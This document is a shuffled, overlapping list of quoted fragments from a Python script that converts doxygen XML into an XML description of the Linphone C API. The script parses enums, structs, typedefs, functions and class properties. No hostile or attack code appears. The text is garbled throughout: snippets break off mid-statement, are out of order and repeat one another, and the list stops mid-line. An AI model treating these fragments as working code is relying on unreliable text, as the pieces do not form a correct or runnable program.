self.__parseCTypedefMemberdef(m) self.add(td) def", "__init__(self): self.verbose = False self.prettyPrint = False self.enums = []", "e.associatedTypedef = td break elif td.definition.startswith('struct '): structFound = False", "def __findCStruct(self, tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in compounddefs:", "'const', 'struct', 'enum', 'signed', 'unsigned', 'short', 'long', '*' ] fullySplittedType", "c in self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded = True break", "paramdescs: for arg in argslist.arguments: for paramdesc in paramdescs: if", "= [] for propname in cclass.properties: propnames.append(propname) propnames.sort() for propname", "} propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter is not", "sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self,", "for m in memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self,", "= argdef.rfind('*') spacePos = argdef.rfind(' ') if starPos != -1:", "Public License # along with this program; if not, write", "'int' and 'int' not in fullySplittedType: if fullySplittedType[-1] == '*':", "= True project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile) gen.generate(project) if __name__", "arg in argslist.arguments: if arg.description == None: missingDocWarning += \"\\t'\"", "is not None: s.deprecated = True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc", "of name (longest first), so that methods are put in", "class classNode = ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events) > 0:", "cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass) # Sort classes by length", "ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self, node): if not", "not None: sm.deprecated = True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc =", "cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname])", "node.find('./definition').text if definition.startswith('typedef '): definition = definition[8 :] if name.endswith('Cb'):", "if name.endswith('Cb'): pos = definition.find(\"(*\") if pos == -1: return", "= ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f", "definition = definition[pos + 1 : -1] argslist = CArgumentsList()", "'classmethods') methodnames = [] for methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort()", "__init__(self, name): self.name = name.strip() self.briefDescription = '' self.detailedDescription =", "so that the result is correct eg. for 'unsigned short'", "= [] for f in xmlfiles: tree = None try:", "fullySplittedType: if not s in keywords: self.ctype = s if", "if arg.ctype == 'MSList' or arg.ctype == 'bctbx_list_t': n =", "pos = definition.find(\"(*\") if pos == -1: return None returntype", "self.events: self.events[ev.name] = ev def addMethod(self, f): if len(f.arguments) >", "len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and len(f.arguments) ==", "structFound = True break if not structFound: name = td.definition[7:]", "WARRANTY; without even the implied warranty of # MERCHANTABILITY or", "propnames.sort() for propname in propnames: propertyNodeAttributes = { 'name' :", "f.location functionNode = ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes = { 'type'", "str(cenum.deprecated).lower() } if cenum.associatedTypedef is not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name", "and \\ len(cclass.instanceMethods) == 0 and len(cclass.properties) == 0: return", "if has_ref_method and has_unref_method: refcountable = True if has_destroy_method: destroyable", "in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods) > 0: classMethodsNode", "None class CEvent(CFunction): pass class CProperty: def __init__(self, name): self.name", "definition = definition[pos + 2 :] pos = definition.find(\"(\") definition", "if st.associatedTypedef is not None: self.ctype = st.associatedTypedef.name elif isEnum:", "''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums = self.enums, structs = self.__structs)", "cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix == 'ref': has_ref_method", "= cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0: enumValuesNode = ET.SubElement(enumNode,", "minidom import metadoc class CObject: def __init__(self, name): self.name =", "is distributed in the hope that it will be useful,", "False has_destroy_method = False for methodname in cclass.instanceMethods: methodname_without_prefix =", "argdef in definition.split(', '): argType = '' starPos = argdef.rfind('*')", "if self.verbose: print(\"Adding enum \" + elem.name) for ev in", "= lambda c: len(c.name), reverse = True) for e in", "node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: sm.deprecated = True sm.briefDescription", "def __addPropertySetter(self, name, f): if not name in self.properties: prop", "ET.SubElement(enumNode, 'values') for value in cenum.values: enumValuesNodeAttributes = { 'name'", "tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in compounddefs: s = self.__parseCStructCompounddef(c) self.add(s) def", "are put in the right class self.classes.sort(key = lambda c:", "self.detailedDescription = st.detailedDescription self.__struct = st self.events = {} self.classMethods", "if not structFound: name = td.definition[7:] print(\"Structure with no associated", ": str(f.deprecated).lower() } if f.location is not None: functionAttributes['location'] =", "self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir): files = [ os.path.join(xmldir, f)", "cclass in project.classes: self.__generateClass(cclass, classesNode) s = '<?xml version=\"1.0\" encoding=\"UTF-8\"", "descriptionNode.tag == 'parameterdescription': descriptionNode.tag = 'description' if descriptionNode.tag == 'simplesect':", "the right class self.classes.sort(key = lambda c: len(c.name), reverse =", "if not Project.__canBeWrapped(self, node): return None name = node.find('./name').text definition", "s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for", "c.name) for cclass in project.classes: self.__generateClass(cclass, classesNode) s = '<?xml", "# This program is distributed in the hope that it", "= [], structs = []): CObject.__init__(self, name) self.description = None", "= {} self.instanceMethods = {} self.properties = {} self.__computeCFunctionPrefix() def", "= { 'name' : cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' :", "is not None: returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc) elif", "header file ('\" + f.location + \"')\\n\"; if missingDocWarning !=", "by doxygen.\") args = argparser.parse_args() if args.outputfile == None: args.outputfile", "xmlfiles): trees = [] for f in xmlfiles: tree =", "= '' first = True for l in self.name: if", "= node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: sm.deprecated = True", "WITHOUT ANY WARRANTY; without even the implied warranty of #", "c in self.classes: if c.cFunctionPrefix == f.name[0 : len(c.cFunctionPrefix)]: c.addMethod(f)", "'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct", "node): if not Project.__canBeWrapped(self, node): return None name = node.find('./name').text", "ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0:", "for propname in cclass.properties: propnames.append(propname) propnames.sort() for propname in propnames:", "self.ctype = st.associatedTypedef.name elif isEnum: for e in enums: if", "structmember in structmembers: sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s", "def __generateClass(self, cclass, classesNode): # Do not include classes that", "API.\") argparser.add_argument('--verbose', help=\"Increase output verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML pretty print\",", "== 'parameterdescription': descriptionNode.tag = 'description' if descriptionNode.tag == 'simplesect': descriptionNode.tag", "= ''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums = self.enums, structs =", "st.associatedTypedef is not None: self.ctype = st.associatedTypedef.name elif isEnum: for", "f) elif name.startswith('enable_') and len(f.arguments) == 2 and f.arguments[1].ctype ==", "minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv = None): if argv is None:", "= f.location functionNode = ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes = {", "definition.split(', '): argType = '' starPos = argdef.rfind('*') spacePos =", "= True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription =", "= { 'name' : arg.name, 'type' : arg.ctype, 'completetype' :", "deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: td.deprecated =", "not initializer.startswith('='): return None initializer = initializer[1:] initializer.strip() return initializer", "isinstance(elem, CEnum): if self.verbose: print(\"Adding enum \" + elem.name) for", "initializerNode = node.find('./initializer') if initializerNode is not None: ev.value =", "if s.startswith('*'): fullySplittedType.append('*') if len(s) > 1: fullySplittedType.append(s[1:]) elif s.endswith('*'):", "args.verbose: project.verbose = True if args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir)", "if not f.name in self.classMethods: self.classMethods[f.name] = f def __addInstanceMethod(self,", "\" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \" +", "in self.__events: eventAdded = False for c in self.classes: if", "> 0: enumsNode = ET.SubElement(apiNode, 'enums') for cenum in project.enums:", "= td.definition[7:] print(\"Structure with no associated typedef: \" + name)", ": f.name, 'deprecated' : str(f.deprecated).lower() } if f.location is not", "paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype ==", "= argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if", "> 0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames = [] for", "if tree is not None: trees.append(tree) for tree in trees:", "= [] for methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname", "self.setter = None class CClass(CObject): def __init__(self, st): CObject.__init__(self, st.associatedTypedef.name)", "'signed', 'unsigned', 'short', 'long', '*' ] fullySplittedType = [] splittedType", "= tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in memberdefs: td = self.__parseCTypedefMemberdef(m) self.add(td)", "not None: returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType", "args.outputfile = open('api.xml', 'w') project = Project() if args.verbose: project.verbose", "'argument', argumentNodeAttributes) if arg.description is not None: argumentNode.append(arg.description) if f.briefDescription", "paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription'))", "# # This program is free software; you can redistribute", "len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer): initializer = initializer.strip() if", "cenum in project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes) > 0: classesNode", "enumValuesNodeAttributes = { 'name' : value.name, 'deprecated' : str(value.deprecated).lower() }", "elif name.endswith('_enabled') and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t':", "def __findCEnum(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in memberdefs:", "__init__(self, name, returnarg, argslist): CObject.__init__(self, name) self.returnArgument = returnarg self.arguments", "False destroyable = False if has_ref_method and has_unref_method: refcountable =", "for methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) >", "True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription'))", "== 'MSList' or returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if", "= False isEnum = False self.ctype = 'int' # Default", "para.findall('./parameterlist'): para.remove(n) for n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n in", "ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription != '': enumBriefDescriptionNode = ET.SubElement(enumNode,", "f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_') and len(f.arguments) ==", "= ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events) > 0: eventsNode =", "= False self.cFunctionPrefix += '_' def __addPropertyGetter(self, name, f): if", "option) any later version. # # This program is distributed", "== st.name: st.associatedTypedef = td structFound = True break if", "+ sm.ctype + \" \" + sm.name) self.__structs.append(elem) elif isinstance(elem,", "def addValue(self, value): self.values.append(value) class CStructMember(CObject): def __init__(self, name, t):", "doxygen.\") args = argparser.parse_args() if args.outputfile == None: args.outputfile =", "self.events = {} self.classMethods = {} self.instanceMethods = {} self.properties", "returntype = definition[0:pos].strip() returnarg = CArgument(returntype, enums = self.enums, structs", "= CStructMember(name, t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", "-1: definition = definition[0 : pos] td = CTypedef(name, definition)", "= True if args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir) project.check() gen", "node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: f.deprecated = True f.briefDescription", "in propnames: propertyNodeAttributes = { 'name' : propname } propertyNode", "st in self.__structs: if st.associatedTypedef == td: cclass = CClass(st)", "add(self, elem): if isinstance(elem, CClass): if self.verbose: print(\"Adding class \"", "Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor,", "in splittedType: if s.startswith('*'): fullySplittedType.append('*') if len(s) > 1: fullySplittedType.append(s[1:])", "self.ctype = t.strip() class CStruct(CObject): def __init__(self, name): CObject.__init__(self, name)", "+= \"\\tNot documented in a header file ('\" + f.location", "in f.arguments: argumentNodeAttributes = { 'name' : arg.name, 'type' :", "== td: cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass) break", "node): return None internal = node.find(\"./detaileddescription/internal\") if internal is not", "enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0: enumValuesNode = ET.SubElement(enumNode, 'values') for", "'') if methodname_without_prefix == 'ref': has_ref_method = True elif methodname_without_prefix", "fullySplittedType: if fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType", "name in self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].getter", "parameter not documented\\n\"; f = CFunction(name, returnarg, argslist) deprecatedNode =", "if len(cclass.events) > 0: eventsNode = ET.SubElement(classNode, 'events') eventnames =", "Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import argparse", "{ 'name' : arg.name, 'type' : arg.ctype, 'completetype' : arg.completeType", "License for more details. # # You should have received", "prop = CProperty(name) self.properties[name] = prop self.properties[name].setter = f def", "'value', enumValuesNodeAttributes) if value.briefDescription != '': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription')", "= CStruct(td.name) st.associatedTypedef = td cclass = CClass(st) cclass.briefDoc =", "six.iteritems(c.properties): if p.getter is None and p.setter is not None:", "+ arg.name + \"' parameter not documented\\n\"; if missingDocWarning !=", "print(\"Adding event \" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments:", "True refcountable = False destroyable = False if has_ref_method and", "if argType != 'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist)", "= None def addValue(self, value): self.values.append(value) class CStructMember(CObject): def __init__(self,", ": arg.completeType } if arg.containedType is not None: argumentNodeAttributes['containedtype'] =", "Do not include classes that contain nothing if len(cclass.events) ==", "cclass.properties[propname].getter) if cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if", "= sys.argv argparser = argparse.ArgumentParser(description=\"Generate XML version of the Linphone", "ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", "__addPropertyGetter(self, name, f): if not name in self.properties: prop =", "} # Generate the XML node for the class classNode", "returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n is not", "argumentNodeAttributes) if arg.description is not None: argumentNode.append(arg.description) if f.briefDescription !=", "CEnumValue(CObject): def __init__(self, name): CObject.__init__(self, name) self.value = None class", ": str(refcountable).lower(), 'destroyable' : str(destroyable).lower() } # Generate the XML", "argumentsNode = ET.SubElement(functionNode, 'arguments') for arg in f.arguments: argumentNodeAttributes =", "if not f.name in self.instanceMethods: self.instanceMethods[f.name] = f def addEvent(self,", "CStruct(td.name) st.associatedTypedef = td cclass = CClass(st) cclass.briefDoc = td.briefDoc", "# as published by the Free Software Foundation; either version", "descriptionNode.attrib = {} return descriptionNode def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap')", "= f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description is", "} valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription != '':", "td.definition.startswith('enum '): for e in self.enums: if (e.associatedTypedef is None)", "program; if not, write to the Free Software # Foundation,", "argName = argdef[starPos + 1 :] elif spacePos != -1:", "details. # # You should have received a copy of", "st.associatedTypedef.detailedDescription elif st.detailedDescription is not None: self.detailedDescription = st.detailedDescription self.__struct", "Copyright (C) 2014 Belledonne Communications SARL # # This program", "self.add(s) def __parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None", "is not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum',", "+ \"::\" + name)] sm = CStructMember(name, t) deprecatedNode =", "has_ref_method and has_unref_method: refcountable = True if has_destroy_method: destroyable =", "fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType) def __str__(self): return self.completeType +", "This program is free software; you can redistribute it and/or", "in cclass.properties: propnames.append(propname) propnames.sort() for propname in propnames: propertyNodeAttributes =", "Linphone API to '\" + self.__outputfile.name + \"'\") apiNode =", "and len(f.arguments) == 2 and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] +", "__parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None name =", "# Copyright (C) 2014 Belledonne Communications SARL # # This", "value.name, 'deprecated' : str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes)", "{} self.classMethods = {} self.instanceMethods = {} self.properties = {}", ":] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs", "self.members.append(member) class CTypedef(CObject): def __init__(self, name, definition): CObject.__init__(self, name) self.definition", "ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events) > 0: eventsNode = ET.SubElement(classNode,", "eventnames.sort() for eventname in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods)", "node): return node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self): for td in", "= definition[pos + 2 :] pos = definition.find(\"(\") definition =", "e.addValue(ev) return e def __findCEnum(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for", "General Public License # as published by the Free Software", "= prop self.properties[name].setter = f def __addClassMethod(self, f): if not", ":] pos = definition.find(\"(\") definition = definition[pos + 1 :", "self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td return None def __findCTypedef(self,", "argslistNode = node.findall('./param') for argNode in argslistNode: argType = ''.join(argNode.find('./type').itertext())", "in trees: self.__findCStruct(tree) for tree in trees: self.__findCTypedef(tree) for tree", "'int') else: fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType) def __str__(self): return", "elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent): if self.verbose: print(\"Adding event \"", "received a copy of the GNU General Public License #", "functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode): # Do", "False isEnum = False self.ctype = 'int' # Default to", "missingDocWarning) return f def __findCFunction(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for", "tree is not None: trees.append(tree) for tree in trees: self.__findCEnum(tree)", "isinstance(elem, CFunction): if self.verbose: print(\"Adding function \" + elem.name) print(\"\\tReturns:", "to the Free Software # Foundation, Inc., 51 Franklin Street,", "'': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def", "0: classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames = [] for methodname", "See the # GNU General Public License for more details.", "len(cenum.values) > 0: enumValuesNode = ET.SubElement(enumNode, 'values') for value in", "classNodeAttributes) if len(cclass.events) > 0: eventsNode = ET.SubElement(classNode, 'events') eventnames", "project.check() gen = Generator(args.outputfile) gen.generate(project) if __name__ == \"__main__\": sys.exit(main())", "arg.containedType = n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for", "'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f) else: if not f.name in", "self.__addPropertyGetter(name, f) elif name.startswith('set_') and len(f.arguments) == 2: self.__addPropertySetter(name[4:], f)", "self.classMethods[f.name] = f def __addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):] if", "definition[pos + 2 :] pos = definition.find(\"(\") definition = definition[pos", "in self.__typedefs: if td.definition.startswith('struct '): for st in self.__structs: if", "node.find(\"./detaileddescription/internal\") if internal is not None: return None missingDocWarning =", "= ET.SubElement(classNode, 'instancemethods') methodnames = [] for methodname in cclass.instanceMethods:", "cclass.instanceMethods[methodname]) if len(cclass.properties) > 0: propertiesNode = ET.SubElement(classNode, 'properties') propnames", "self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def __findCEnum(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\")", "if argNameNode is not None: argName = ''.join(argNameNode.itertext()) if argType", "that it will be useful, # but WITHOUT ANY WARRANTY;", "self.enums, self.__structs)) if len(argslist) > 0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if", "= lambda c: c.name) for cclass in project.classes: self.__generateClass(cclass, classesNode)", "None: if returnarg.ctype == 'MSList' or returnarg.ctype == 'bctbx_list_t': n", "Project.__canBeWrapped(self, node): return None internal = node.find(\"./detaileddescription/internal\") if internal is", "c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer): initializer = initializer.strip() if not", "node.find('./name').text definition = node.find('./definition').text if definition.startswith('typedef '): definition = definition[8", "(e.associatedTypedef is None) and td.definition[5:] == e.name: e.associatedTypedef = td", "initializer[1:] initializer.strip() return initializer def __parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text)", "return None internal = node.find(\"./detaileddescription/internal\") if internal is not None:", "outputfile): self.__outputfile = outputfile def __generateEnum(self, cenum, enumsNode): enumNodeAttributes =", "None: argumentNode.append(arg.description) if f.briefDescription != '': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription')", "'name' : propname } propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if", "f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip() == '': return None locationNode", "t): CObject.__init__(self, name) self.ctype = t.strip() class CStruct(CObject): def __init__(self,", "!= 'void': missingDocWarning += \"\\tReturn value is not documented\\n\" definition", "len(f.arguments) == 2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and len(f.arguments) ==", "node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments: for paramdesc in", "Generate the XML node for the class classNode = ET.SubElement(classesNode,", "addArgument(self, arg): self.arguments.append(arg) def __len__(self): return len(self.arguments) def __getitem__(self, key):", "for para in descriptionNode.findall('./para'): for n in para.findall('./parameterlist'): para.remove(n) for", "+ missingDocWarning) return f def __findCFunction(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\")", "= node.find('./initializer') if initializerNode is not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text)", "st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated: self.deprecated = True", "st.associatedTypedef = td cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(st)", "\" + sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef): if self.verbose: print(\"Adding", "def __parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None name", "refcountable = True if has_destroy_method: destroyable = True classNodeAttributes =", "self.values = [] self.associatedTypedef = None def addValue(self, value): self.values.append(value)", "n.tag = 'note' n.attrib = {} for n in para.findall(\".//xrefsect\"):", "XML file: \" + f.name) tree = ET.parse(f) except ET.ParseError", "def addEvent(self, ev): if not ev.name in self.events: self.events[ev.name] =", "'MSList' or arg.ctype == 'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if n", "None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments') for arg in f.arguments:", "= s if s == 'struct': isStruct = True if", "= ET.SubElement(classNode, 'properties') propnames = [] for propname in cclass.properties:", "ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return", "missingDocWarning += \"\\tReturn value is not documented\\n\" definition = definition[pos", "None: arg.containedType = n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = ''", "if internal is not None: return None missingDocWarning = ''", "(os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ] self.initFromFiles(files) def check(self): for c", "== 'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib = {} return descriptionNode", "software; you can redistribute it and/or # modify it under", "structs = self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is not", "not None: argumentNode.append(arg.description) if f.briefDescription != '': functionBriefDescriptionNode = ET.SubElement(functionNode,", "# # This program is distributed in the hope that", "= td self.add(st) for td in self.__typedefs: if td.definition.startswith('struct '):", "if fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType =", "deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: e.deprecated =", "\"'\") apiNode = ET.Element('api') project.enums.sort(key = lambda e: e.name) if", "name in self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].setter", "self.properties[name] = prop self.properties[name].getter = f def __addPropertySetter(self, name, f):", "right class self.classes.sort(key = lambda c: len(c.name), reverse = True)", "arg.completeType } if arg.containedType is not None: argumentNodeAttributes['containedtype'] = arg.containedType", "import xml.dom.minidom as minidom import metadoc class CObject: def __init__(self,", "== 'int' and 'int' not in fullySplittedType: if fullySplittedType[-1] ==", "'' self.detailedDescription = None self.deprecated = False self.briefDoc = None", "st.associatedTypedef = td structFound = True break if not structFound:", "len(cclass.classMethods) == 0 and \\ len(cclass.instanceMethods) == 0 and len(cclass.properties)", "argv is None: argv = sys.argv argparser = argparse.ArgumentParser(description=\"Generate XML", "implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR", "sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self, node): s =", "def __generateEnum(self, cenum, enumsNode): enumNodeAttributes = { 'name' : cenum.name,", "Generator: def __init__(self, outputfile): self.__outputfile = outputfile def __generateEnum(self, cenum,", "Project() if args.verbose: project.verbose = True if args.pretty: project.prettyPrint =", "'' and ''.join(f.detailedDescription.itertext()).strip() == '': return None locationNode = node.find('./location')", "= argdef[starPos + 1 :] elif spacePos != -1: argType", "paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments: for", "self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is not None: if", "in para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext()) n.clear() n.tag = 'see' n.text", "is not None: f.deprecated = True f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc", "ET.SubElement(apiNode, 'enums') for cenum in project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes)", "for st in self.__structs: if st.associatedTypedef == td: cclass =", "= True for l in self.name: if l.isupper() and not", "memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node, structname): name", "the Free Software Foundation; either version 2 # of the", "deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: s.deprecated =", "''.join(n.itertext()) n.clear() n.tag = 'see' n.text = t for n", "+ 1 :] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) >", "redistribute it and/or # modify it under the terms of", "s in fullySplittedType: if not s in keywords: self.ctype =", "f): name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments) == 1:", "= {} for n in para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag ==", "self.properties[name].getter = f def __addPropertySetter(self, name, f): if not name", "it under the terms of the GNU General Public License", "'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs", "len(cclass.events) == 0 and len(cclass.classMethods) == 0 and \\ len(cclass.instanceMethods)", "+ self.__outputfile.name + \"'\") apiNode = ET.Element('api') project.enums.sort(key = lambda", "CEnum): if self.verbose: print(\"Adding enum \" + elem.name) for ev", "'events') eventnames = 